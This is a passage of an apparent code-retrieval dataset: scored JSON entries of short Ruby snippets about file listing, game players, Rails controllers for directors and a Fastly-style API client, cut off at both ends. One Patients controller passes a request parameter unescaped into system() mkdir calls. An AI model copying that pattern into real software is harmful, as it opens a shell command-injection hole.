"def all_matching_files\n @all_matching_files ||= find_files\n end", "title": "" }, { "docid": "156c41f847a0eaf61b9684ee0c52898f", "score": "0.5356968", "text": "def team_player_plays_on(player)\n teams.select { |t| t.players.include?(player) }.first\n end", "title": "" }, { "docid": "2275016fcb1cc9aeb99f985568787172", "score": "0.53544474", "text": "def choose_first(player1, player2)\n players = [player1, player2]\n play_first = players[rand(2)]\n play_second = players.find { |elem| elem != play_first }\n puts \"#{play_first.name} has been randomly chosen to play first\"\n [play_first, play_second]\nend", "title": "" }, { "docid": "9bd500be817058b2a81f5b0b93657241", "score": "0.5348563", "text": "def files\n @files ||= Dir.glob(\"#{path}/*.mp3\").collect{ |filename|filename.gsub(\"#{path}/\", \"\")}\n end", "title": "" }, { "docid": "64c7c64450074b5d0d07bff32c656970", "score": "0.5346851", "text": "def check_name_in_players(player_name)\n return true if @players.include?(player_name)\nend", "title": "" }, { "docid": "f3609be9c11902b7c2088a464a6b2c08", "score": "0.53417075", "text": "def play_game\nget_winner(comp_choose_rps,user_choose_rps)\t\nend", "title": "" }, { "docid": "ddb6bf7e52e2863a4ccdf63e844361a3", "score": "0.53410023", "text": "def files\n # Dir.glob(\"*.mp3\") #this grabs mp3s from path\n Dir.chdir(@path) do \n @mp3s = Dir.glob(\"*.mp3\") \n end\n end", "title": "" }, { "docid": "9f61634623a55b367d3000787ef0a601", "score": "0.53324074", "text": "def winner\n @players.each do |current_player|\n if current_player.position >= length\n #puts \"#{current_player.name} JUST WON!!!\"\n return \"#{current_player.name}\"\n end\n end\n end", "title": "" }, { "docid": "11e35bff6a38656aa8f2e9197c44bbfa", "score": "0.53276664", "text": "def files\n # list_of_filenames = Dir.entries(path)\n @list_of_filenames = Dir.glob(\"#{@path}/*.mp3\").collect! {|x| x.gsub(\"#{@path}/\", \"\") }\n # binding.pry\n end", "title": "" }, { "docid": "12204b3da14cd7fec68623194851a370", "score": "0.53258955", "text": "def player_projectiles(player)\n\t\t@projectiles.select { |projectile| projectile.player == player }\n\tend", "title": "" }, { "docid": "064b055b7b3a2be674c68d8e53e30fb1", "score": "0.5325514", "text": "def check_the_check\n self.find_attacks(\"white\")\n self.find_attacks(\"black\")\n self.find_king_in_check\n end", "title": "" }, { "docid": "e990e940dea348339e1b074c5e53908e", "score": "0.53239", "text": "def get_directories(src)\n directories = Array.new\n #return directories\n Find.find(src) do |path|\n # not too sure what this was intended to do but its getting in the way\n # and can not be matched correctly.\n #next if File.dirname(path) != src \n next if path == src\n next if not File.directory? path\n directories.push path\n end\n directories.reverse\nend", "title": "" }, { "docid": "50b61c033dd5db7a52f0ff93fbad8e34", "score": "0.53218746", "text": "def find_winner\n if @player_1.life == 0\n return 2\n end\n return 1\n end", "title": "" }, { "docid": "e553f2447d5903470d2fb3bf882ac699", "score": "0.5321013", "text": "def song_plays\n SongPlay.where(:song_path => path)\n end", "title": "" }, { "docid": "e6b146f01f67d174cbef4aa410806f0f", "score": "0.5320724", "text": "def file_match(file)\n end", "title": "" }, { "docid": "1149f5568e0094e1407fdecc2fa604dc", "score": "0.5319202", "text": "def test_find_matches\n @fdb = setup\n @list = @fdb.find_matches(\"Ch\")\n assert(@list.length >= 2, \"Expected at least 2 entries to be found, didn't get that much\")\n end", "title": "" }, { "docid": "aa0dc84ddd0b10be3f899b7d1500ea34", "score": "0.53153515", "text": "def play()\n @files.shuffle.each do |file|\n play_file(file)\n end\n end", "title": "" }, { "docid": "e995819b0b7357cb0634e3f319a58091", "score": "0.53047466", "text": "def load(folder_path)\n players = []\n @errors = []\n \n Dir[\"#{folder_path}/*.rb\"].each do |player_file| \n require_player_file player_file\n end\n \n Module.constants.select do |constant_name|\n constant = eval constant_name.to_s\n if not constant.nil? and constant.is_a? Class and constant_name.to_s.end_with? \"Player\"\n if check_method(constant, constant_name, 'name') && check_method(constant, constant_name, 'new_game') && check_method(constant, constant_name, 'take_turn') \n players << constant\n end\n end\n end\n \n return players\n end", "title": "" }, { "docid": "9b3a81635d08377c55e8748f9138761f", "score": "0.5304202", "text": "def pbGetWildBattleBGM(_wildParty) # wildParty is an array of Pokémon objects\r\n if $PokemonGlobal.nextBattleBGM\r\n return $PokemonGlobal.nextBattleBGM.clone\r\n end\r\n ret = nil\r\n if !ret\r\n # Check map metadata\r\n map_metadata = GameData::MapMetadata.try_get($game_map.map_id)\r\n music = (map_metadata) ? map_metadata.wild_battle_BGM : nil\r\n ret = pbStringToAudioFile(music) if music && music != \"\"\r\n end\r\n if !ret\r\n # Check global metadata\r\n music = GameData::Metadata.get.wild_battle_BGM\r\n ret = pbStringToAudioFile(music) if music && music!=\"\"\r\n end\r\n ret = pbStringToAudioFile(\"Battle wild\") if !ret\r\n return ret\r\nend", "title": "" }, { "docid": "f35a30eb41661364551e7e3866e4436e", "score": "0.528778", "text": "def shoe_size(player_name)\n # i want all the players first <= simplify it ideally\n # so i can look through them\n # find the player that matches the name\n\n\n # found_player = all_players.find do |player| # Hash\n # player[:player_name] == player_name\n # end\n\n # get the shoe size for that player\n found_player(player_name)[:shoe]\nend", "title": "" }, { "docid": "cc75e280f5354441d9981218513b0ce4", "score": "0.5281398", "text": "def gui_new_match(players)\n end", "title": "" }, { "docid": "87a9996fdecde38b09958e971cabee2f", "score": "0.52764183", "text": "def each_player\n @players.each\n end", "title": "" }, { "docid": "af3ae86f0922e5d9be8b8115e7f91fb3", "score": "0.5275402", "text": "def files\n Dir.entries(\"#{path}\").select {|song_filename| song_filename.include?(\"mp3\")}\n end", "title": "" }, { "docid": "f014f46fc702583ecad82e0b9b4f5586", "score": "0.52735364", "text": "def just_ai\n player1 = Players::AdvancedAI.new(\"X\")\n player2 = Players::Student01.new(\"O\")\n # player1 = Players::Student01.new(\"X\")\n # player2 = Players::AdvancedAI.new(\"O\")\n stats = []\n\n\n 2000.times do\n game = Game.new(player1, player2)\n game.play\n stats << game.winner\n end\n\n puts \"X won #{stats.count(\"X\")} and O won #{stats.count(\"O\")}!\"\n end", "title": "" }, { "docid": "518d8d4b37d68d40cfaa28701d926862", "score": "0.5271531", "text": "def result\n loser = game_players.find do |game_player|\n game_player.ships.all?(&:sunk?) && game_player.ships.size > 0\n end\n\n if loser\n return game_players.find { |game_player| game_player.id != loser.id }\n end\n end", "title": "" }, { "docid": "147ad9065a1a46c5bd126eb7a6cc4f24", "score": "0.52695096", "text": "def find_file( dirs, lang, name, exts, hidden = false )\n glob_files( dirs, lang, name, exts, hidden ) { |file,base,ext| return file }\n nil\n end", "title": "" }, { "docid": "a26790825253aaf8b3d05edc851d1f56", "score": "0.52669007", "text": "def getFAInfo(type, array)\n for player in array do\n stats = @projections.find {|row| (row['Last Name'] == player[\"name\"][\"last\"] && row['First Name'] == player[\"name\"][\"first\"] && row['Team'] == player[\"editorial_team_full_name\"])}\n if stats \n schedule = @dates.find {|row| row[0] == player[\"editorial_team_full_name\"]}\n gp = 0\n gLeft = 0\n for i in 1..schedule.length-1\n if schedule[i] != \"-\"\n gp += 1\n if @displayWeek != @currWeek\n gLeft = gp\n else\n if i > schedule.length-1 - @daysLeft\n gLeft +=1\n end\n end\n end\n end\n isBestPlayer(player,stats,gLeft)\n @players.push([player,stats,schedule,gp,type,gLeft])\n else\n puts player\n end\n end\nend", "title": "" }, { "docid": "7a237c04392163f5d80656c8254dc578", "score": "0.5263282", "text": "def test_player_search\n team = SportsTeam.new(\"Celtic\", [\"Hendrik Larsson\", \"Captain Football\", \"Some Guy\"], \"Mr. Manager\")\n search_result = team.player_search(\"Captain Football\")\n assert_equal(true, search_result)\n end", "title": "" }, { "docid": "fcada32b55cd81d9948ea89e83e2093a", "score": "0.5258916", "text": "def SelectLevelForSearch()\n\n for i in 0...$progression.length do\n\n for j in 0...$levels.length do\n\n if $progression[i][0] == File.basename($levels[j]) then\n SearchLevel($levels[j])\n end\n\n end\n\n\n end\n\n\nend", "title": "" }, { "docid": "92c690e656f315257db765649bec6851", "score": "0.52586734", "text": "def person_cheers_song(pl, favourite_song)\n \n for tune in pl\n if tune == favourite_song\n return \"yaaay!\"\n else \n return \"didn't find my favourite\" \n end \n end \n end", "title": "" }, { "docid": "dc1833d23144c7cd411f5fb3cc99ca74", "score": "0.524916", "text": "def GetEnemyDirs()\n\n directories = Dir.entries($enemy_folder)\n\n for i in 0...directories.length do\n\n if not directories[i].include? \".\" then\n $current_folder = $enemy_folder + directories[i]\n GetEnemies($current_folder)\n end\n\n end\n\n ExtractIDs()\nend", "title": "" }, { "docid": "d716ad70fd641ef900c33a26d7befc84", "score": "0.5248945", "text": "def select_winner(passengers)\n # add the code snippet here!\n winner = \"\"\n passengers.each do |suite, name|\n if suite == :suite_a && name.start_with?(\"A\")\n winner = name\n end\n end\n\n winner\nend", "title": "" }, { "docid": "4030e431f7d2f1261bbf62e591da49ad", "score": "0.5248061", "text": "def search_for_track_name(tracks, search_string)\nputs (\"Searching for track: \" + search_string)\nfound_index = -1\ni = 0\n\twhile (i < tracks.length)\n\t\t\t# track = tracks[i]\n\t\t\tif (tracks[i].name.chomp == search_string.chomp)\n\t\t\t\tfound_index = i\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\tfound_index\nend", "title": "" }, { "docid": "7808497656ba60ee50b712754ed9e356", "score": "0.5239124", "text": "def LoteDeCarga()\n print \" #=============================================================================#\\n\"\n print \"\\tLote de carga en ejecucion...\\n\"\n print \" #-----------------------------------------------------------------------------#\\n\"\n print \"\\tDetectando Cuits...\\n\"\n print \" #-----------------------------------------------------------------------------#\\n\"\n aux = []\n cont = 0\n Dir.chdir(\"C:\\\\SFTP\\\\Tickets\")\n Dir.foreach('.') do |item|\n next if item == '.' or item == '..'\n if File.directory?(item)\n print \"\\tCuit encontrado -> \" + item + \"...\\n\"\n aux[cont] = item\n cont += 1\n end\n end\n return aux\nend", "title": "" }, { "docid": "7ddc7e5c573e2634306cb030aac8c016", "score": "0.5231837", "text": "def GetEnemies(folder)\n folder_contents = Dir.entries(folder)\n\n\n for i in 0...folder_contents.length do\n\n if folder_contents[i] != \".\" and folder_contents[i] != \"..\" and not folder_contents[i].include? \".fson\" then\n $enemies << folder_contents[i]\n $enemy_images << [File.basename(folder_contents[i], '.cfg'), 0]\n GetEnemyRects(folder + '/' + folder_contents[i])\n GetEnemyImages(folder + '/' + folder_contents[i])\n end\n\n\n end\n\nend", "title": "" }, { "docid": "161adb930ab82768ddd12b9f8678f68d", "score": "0.5228903", "text": "def file_search\n #Checks the current folder for python files\n py_files = Dir.glob('*.py')\n #Checks if files exist, exists if not\n if py_files != []\n file_output(py_files)\n else\n puts \"You got lucky, Motherasshole!\"\n end\nend", "title": "" }, { "docid": "00e9a2b6eb37686a1444dcd4a6669c2d", "score": "0.5225018", "text": "def main\n doc = Nokogiri::HTML(open(START_URI))\n dirs_to_search = doc.css('a').map{|x|x[:href]}.grep(%r{/SolaceSounds/SolaceSounds})\n\n streams_to_rip = []\n\n dirs_to_search.each do |dir|\n puts \"Searching #{HOST}#{dir}\"\n\n # don't overwhelm the server\n sleep 1\n\n subdir = Nokogiri::HTML(open(HOST + dir))\n streams_to_grab = subdir.css('a').map{|x|x[:href]}.grep(%r{\\.mp3})\n streams_to_rip.concat(streams_to_grab)\n end\n\n # we've found all of the mp3 streams, now we grab them\n streams_to_rip.each do |url|\n if stream_already_downloaded(url)\n puts \"skipping url: #{url}\"\n next\n end\n rip_stream(url)\n move_ripped_file(url)\n set_mp3_tags(url)\n end\nend", "title": "" }, { "docid": "dce671765b4bd0092773e9de41747511", "score": "0.52239877", "text": "def find_shared_matchups\n ChampionGGApi::MATCHUP_ROLES.values.inject([]) do |shared_matchups, matchup_role|\n matchups = Cache.get_champion_matchups(@name1, matchup_role, @elo)\n shared_matchups.tap do\n if matchups && matchup = matchups[@name2]\n shared_matchups << matchup\n end\n end\n end\n end", "title": "" }, { "docid": "d9d5bd4012dedbd74b2268b10cb37bee", "score": "0.52208036", "text": "def sapi_files_found(sapi, priority = '*')\n ::Dir.glob(sapi_file_path(sapi, priority)) + ::Dir.glob(sapi_file_path(sapi))\n end", "title": "" }, { "docid": "c67fe5bb568062cd32ac860edb5cbe8a", "score": "0.5218428", "text": "def find_winner\n # Searches for Player that won most recent Tournament\n tournament_champion = \"\"\n players = Player.all\n players.each do |player|\n if player.id == Player.find(player.id).tournaments.last.player_standings.sort { |a,b| a.ranking <=> b.ranking }.first.player_id\n tournament_champion = player\n end\n end\n #Searches League for User with winning Player on their team\n winner = \"\"\n users = self.users\n users.each do |user|\n if user.players.include? Player.find(tournament_champion.id)\n winner = user\n winner.save\n end\n end\n return winner\n end", "title": "" }, { "docid": "6b7742c035fef9746e6c074543ee8469", "score": "0.5213085", "text": "def select_winner(passengers)\n winner = \"\" #without this line, calling on winner in line 17 would be an error because winner hasn't been defined. And even though it has been defined in line 13, that is inside the method scope and line 17 is outside the method scope. So we need to define winner also outside the method scope in order to call it later. And we can literally set it equal to anything (not just \"\"), because it will be overwritten by winner = name. \n passengers.each do |suite, name|\n if suite == :suite_a && name.start_with?(\"A\")\n winner = name \n end \n end \n\nwinner \nend", "title": "" }, { "docid": "74a00ad9b6a450b730804580a28302e5", "score": "0.5212621", "text": "def player_stats (player_name)\n lookup_by_player(player_name);\nend", "title": "" }, { "docid": "c75b4fdfe4883a9ad0f8596571cace0f", "score": "0.52071875", "text": "def find_valid_calls(planeteer_calls)\n valid_calls = [\"Earth!\", \"Wind!\", \"Fire!\", \"Water!\", \"Heart!\"]\n planeteer_calls.each do |planeteer_call|\n valid_calls.find do |valid_call|\n if valid_call == planeteer_call\n return planeteer_call\n end\n end\n end\n return nil\nend", "title": "" }, { "docid": "c0964ff99736e6410fb54e80018c69b4", "score": "0.52002746", "text": "def players\n @players ||= []\n end", "title": "" }, { "docid": "c0964ff99736e6410fb54e80018c69b4", "score": "0.52002746", "text": "def players\n @players ||= []\n end", "title": "" }, { "docid": "d81c713ff388cbba68024c7ef0d415b0", "score": "0.519903", "text": "def what_songs_does_he_own()\n $songs.select{|song| song.owners.include?(@name)}\n \tend", "title": "" }, { "docid": "e791363e0d126d8d5d826317ab3a1737", "score": "0.51989484", "text": "def get_match(id, matches, p1, p2)\n outputmatch = nil\n matches.each do |match|\n outputmatch = match['match'] if ((match['match']['player1_id'].to_s.eql?(p1) && match['match']['player2_id'].to_s.eql?(p2))||(match['match']['player1_id'].to_s.eql?(p2) && match['match']['player2_id'].to_s.eql?(p1)))\n end\n return outputmatch\nend", "title": "" } ]
a28bb0c7a995c26496fc956693c293ba
Create a director Create a director for a particular service and version.
[ { "docid": "aa8ca82d4c2e11ebc185adb09a836a49", "score": "0.7261752", "text": "def create_director(opts = {})\n data, _status_code, _headers = create_director_with_http_info(opts)\n data\n end", "title": "" } ]
[ { "docid": "782074fee9648a43a658872c1ea5adb9", "score": "0.67785084", "text": "def create_director_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DirectorApi.create_director ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n version_id = opts[:'version_id']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling DirectorApi.create_director\"\n end\n # verify the required parameter 'version_id' is set\n if @api_client.config.client_side_validation && version_id.nil?\n fail ArgumentError, \"Missing the required parameter 'version_id' when calling DirectorApi.create_director\"\n end\n if @api_client.config.client_side_validation && !opts[:'quorum'].nil? && opts[:'quorum'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"quorum\"]\" when calling DirectorApi.create_director, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'quorum'].nil? && opts[:'quorum'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"quorum\"]\" when calling DirectorApi.create_director, must be greater than or equal to 0.'\n end\n\n allowable_values = [1, 3, 4]\n if @api_client.config.client_side_validation && opts[:'type'] && !allowable_values.include?(opts[:'type'])\n fail ArgumentError, \"invalid value for \\\"type\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/service/{service_id}/version/{version_id}/director'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s)).sub('{' + 'version_id' + '}', CGI.escape(version_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['backends'] = @api_client.build_collection_param(opts[:'backends'], :csv) if !opts[:'backends'].nil?\n form_params['capacity'] = opts[:'capacity'] if !opts[:'capacity'].nil?\n form_params['comment'] = opts[:'comment'] if !opts[:'comment'].nil?\n form_params['name'] = opts[:'name'] if !opts[:'name'].nil?\n form_params['quorum'] = opts[:'quorum'] if !opts[:'quorum'].nil?\n form_params['shield'] = opts[:'shield'] if !opts[:'shield'].nil?\n form_params['type'] = opts[:'type'] if !opts[:'type'].nil?\n form_params['retries'] = opts[:'retries'] if !opts[:'retries'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DirectorResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"DirectorApi.create_director\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DirectorApi#create_director\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "52778a402bf7a40abd9a238a47f5a59f", "score": "0.6699463", "text": "def create\n @director = Director.new(params[:director])\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render json: @director, status: :created, location: @director }\n else\n format.html { render action: \"new\" }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52778a402bf7a40abd9a238a47f5a59f", "score": "0.6699463", "text": "def create\n @director = Director.new(params[:director])\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render json: @director, status: :created, location: @director }\n else\n format.html { render action: \"new\" }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8714738662f92a67c6401323fc618cd", "score": "0.664649", "text": "def create\n @director = Director.new(director_params)\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render :show, status: :created, location: @director }\n else\n format.html { render :new }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbb302ccd78a200e79deee010b337be1", "score": "0.6567826", "text": "def create\n @director = Director.new(director_params)\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render action: 'show', status: :created, location: @director }\n else\n format.html { render action: 'new' }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbb302ccd78a200e79deee010b337be1", "score": "0.6567826", "text": "def create\n @director = Director.new(director_params)\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render action: 'show', status: :created, location: @director }\n else\n format.html { render action: 'new' }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b0b71d5c8eeb6dde95cdf7813ba7eec", "score": "0.62789965", "text": "def create\n @directorio = Directorio.new(params[:directorio])\n\n respond_to do |format|\n if @directorio.save\n flash[:notice] = 'Directorio was successfully created.'\n format.html { redirect_to(@directorio) }\n format.xml { render :xml => @directorio, :status => :created, :location => @directorio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @directorio.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b09a7e1dc9bd8aa1cdfe7f1434319084", "score": "0.6198556", "text": "def create\n Director.create(\"name\" => params[\"full_name\"], \"photo_url\" => params[\"url\"])\n redirect_to \"/directors\"\n end", "title": "" }, { "docid": "51ee2557f8e832351e9f76062b81a98d", "score": "0.61079377", "text": "def create\n @directorio = Directorio.new(directorio_params)\n\n respond_to do |format|\n if @directorio.save\n format.html { redirect_to @directorio, notice: \"Directorio was successfully created.\" }\n format.json { render :show, status: :created, location: @directorio }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @directorio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59615136523c9cde3aad17eabbdb2311", "score": "0.6014613", "text": "def create\n @daw_director = DawDirector.new(daw_director_params)\n\n respond_to do |format|\n if @daw_director.save\n format.html { redirect_to @daw_director, notice: 'Daw director was successfully created.' }\n format.json { render :show, status: :created, location: @daw_director }\n else\n format.html { render :new }\n format.json { render json: @daw_director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8eda8a6f8e9b77fca155b9091d519e3d", "score": "0.5846189", "text": "def create\n @omdb_director = OmdbDirector.new(omdb_director_params)\n\n respond_to do |format|\n if @omdb_director.save\n format.html { redirect_to @omdb_director, notice: 'Omdb director was successfully created.' }\n format.json { render action: 'show', status: :created, location: @omdb_director }\n else\n format.html { render action: 'new' }\n format.json { render json: @omdb_director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "215e14d1c8dfc749745e5abac0254c99", "score": "0.5840731", "text": "def create\n @shop_director = ShopDirector.new(params[:shop_director])\n\n respond_to do |format|\n if @shop_director.save\n format.html { redirect_to @shop_director, notice: 'Shop director was successfully created.' }\n format.json { render json: @shop_director, status: :created, location: @shop_director }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0ac1e3a18fa58dda4b7b068b6f88e0d", "score": "0.57977486", "text": "def create\n\n # process the dob first\n params[:director][:dob] = DateSelectHelper.to_datetime(params[:selected_date])\n\n @director = Director.new(params[:director])\n\n # check for new dvds\n @dvd_ids = params[:dvds] ? params[:dvds][\"ids\"] : nil\n if @dvd_ids\n @dvd_ids.shift\n @director.dvds << Dvd.find(@dvd_ids)\n end\n\n respond_to do |format|\n if @director.save\n format.html { redirect_to @director, notice: 'Director was successfully created.' }\n format.json { render json: @director, status: :created, location: @director }\n else\n format.html { render action: \"new\" }\n format.json { render json: @director.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f62dffe6c1c67ca634859af1271a1c3", "score": "0.57390434", "text": "def create\n @objeto = Directorio.new(directorio_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Directorio was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5cfae2bd40ef0a443d1fab7f39071d11", "score": "0.5687942", "text": "def create\n Studentdirector.create(\"name\" => params[\"full_name\"], \"photo_url\" => params[\"url\"])\n redirect_to \"/studentdirectors\"\n end", "title": "" }, { "docid": "067bda512c3a2d3ec5ad0e16d23cab7c", "score": "0.5538789", "text": "def create\n common_nav_header_menu\n @director = @current_brand.users.new(director_params)\n @secure_pass = SecureRandom.hex(6)\n @step = 1\n if @director.save\n if params[:role].present?\n UserRole.create(:role => params[:role].to_i, :user => @director)\n end\n step = params[:proceed_next] ? 2 : 1\n redirect_to edit_director_path(@director, :step => step)\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "f86b637fb34ed828107008898d4023ba", "score": "0.54967064", "text": "def create(args = {})\n port = args[:port]\n name = args[:name]\n target_port = args[:target_port]\n vmi_name = args[:vmi_name]\n service_type = args[:service_type]\n\n srv = {\n :apiVersion => \"v1\",\n :kind => \"Service\",\n :metadata => {\n :name => name,\n :namespace => service.namespace\n },\n :spec => {\n :externalTrafficPolicy => \"Cluster\",\n :ports => [\n {:nodePort => port,\n :port => port,\n :protocol => \"TCP\",\n :targetPort => target_port\n }\n ],\n :selector => {\n :\"kubevirt.io/vm\" => vmi_name\n },\n :type => service_type\n }\n }\n\n service.create_service(srv)\n end", "title": "" }, { "docid": "2483e631ef08cf36b8be3162ad552cc8", "score": "0.54521626", "text": "def create\n @director_comercial = DirectorComercial.new(params[:director_comercial])\n\n respond_to do |format|\n if @director_comercial.save\n format.html { redirect_to @director_comercial, notice: 'Director comercial was successfully created.' }\n format.json { render json: @director_comercial, status: :created, location: @director_comercial }\n else\n format.html { render action: \"new\" }\n format.json { render json: @director_comercial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df916a983152082c72c860ec8e7babc4", "score": "0.52703077", "text": "def create\n @directors_movie = DirectorsMovie.new(directors_movie_params)\n\n respond_to do |format|\n if @directors_movie.save\n format.html { redirect_to @directors_movie, notice: 'Directors movie was successfully created.' }\n format.json { render :show, status: :created, location: @directors_movie }\n else\n format.html { render :new }\n format.json { render json: @directors_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "92f1d27c2f922e4cc818e90e55fbc3e3", "score": "0.5261997", "text": "def create\n n_patient_params = patient_params\n system(\"mkdir /data/oci/#{n_patient_params[:_id]}\")\n n_patient_params[:dirpath] = \"/data/oci/#{n_patient_params[:_id]}\"\n system(\"mkdir #{n_patient_params[:dirpath]}/archive\")\n @patient = Patient.new(n_patient_params)\n\n respond_to do |format|\n if @patient.save\n format.html { redirect_to @patient, notice: 'Patient was successfully created.' }\n format.json { render :show, status: :created, location: @patient }\n else\n format.html { render :new }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2e4d16e68b17d98de3917c171a02802b", "score": "0.5259048", "text": "def delete_director_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DirectorApi.delete_director ...'\n end\n # unbox the parameters from the hash\n service_id = opts[:'service_id']\n version_id = opts[:'version_id']\n director_name = opts[:'director_name']\n # verify the required parameter 'service_id' is set\n if @api_client.config.client_side_validation && service_id.nil?\n fail ArgumentError, \"Missing the required parameter 'service_id' when calling DirectorApi.delete_director\"\n end\n # verify the required parameter 'version_id' is set\n if @api_client.config.client_side_validation && version_id.nil?\n fail ArgumentError, \"Missing the required parameter 'version_id' when calling DirectorApi.delete_director\"\n end\n # verify the required parameter 'director_name' is set\n if @api_client.config.client_side_validation && director_name.nil?\n fail ArgumentError, \"Missing the required parameter 'director_name' when calling DirectorApi.delete_director\"\n end\n # resource path\n local_var_path = '/service/{service_id}/version/{version_id}/director/{director_name}'.sub('{' + 'service_id' + '}', CGI.escape(service_id.to_s)).sub('{' + 'version_id' + '}', CGI.escape(version_id.to_s)).sub('{' + 'director_name' + '}', CGI.escape(director_name.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'InlineResponse200'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"DirectorApi.delete_director\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DirectorApi#delete_director\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e79ec6242e2888e9fc03b1eba88a01e3", "score": "0.52346843", "text": "def create\n @film = Film.new(film_params)\n @directors = Director.where(:id => params[:directors])\n @film.directors << @directors\n\n respond_to do |format|\n if @film.save\n format.html { redirect_to @film, notice: 'Film was successfully created.' }\n format.json { render action: 'show', status: :created, location: @film }\n else\n format.html { render action: 'new' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58c37cf32ecfe06f373f4cb9c925f597", "score": "0.5229931", "text": "def create_service\n # Guardar el servicio en la base de datos\n tran = Service.create(description: service_description)\n\n if tran.valid?\n flash[:success] = \"Servicio creado\"\n else\n flash[:danger] = \"Ha ocurrido un error !!\"\n end\n redirect_to new_tecnico_my_service_path\n end", "title": "" }, { "docid": "25a925faf03dec12ef50934f35dda0b5", "score": "0.52294105", "text": "def set_director\n @director = Director.find(params[:id])\n end", "title": "" }, { "docid": "25a925faf03dec12ef50934f35dda0b5", "score": "0.52294105", "text": "def set_director\n @director = Director.find(params[:id])\n end", "title": "" }, { "docid": "458844443e9ad53d50f8eea0cf4846b1", "score": "0.5219731", "text": "def create\n film = Film.new(\n name: film_params[:name],\n genre: film_params[:genre],\n director: film_params[:director],\n )\n if film.save\n render json: film, status: 200\n else\n render json: {error: \"Error adding film.\"}\n end\n end", "title": "" }, { "docid": "5cbc40c4bb308eafb0e5c4d9906802a6", "score": "0.51879406", "text": "def create\n\n # process the release date first\n params[:dvd][:release_date] = DateSelectHelper.to_datetime(params[:selected_date])\n\n @dvd = Dvd.new(params[:dvd])\n\n if params[:director] and params[:director][\"id\"]\n @dvd.director = 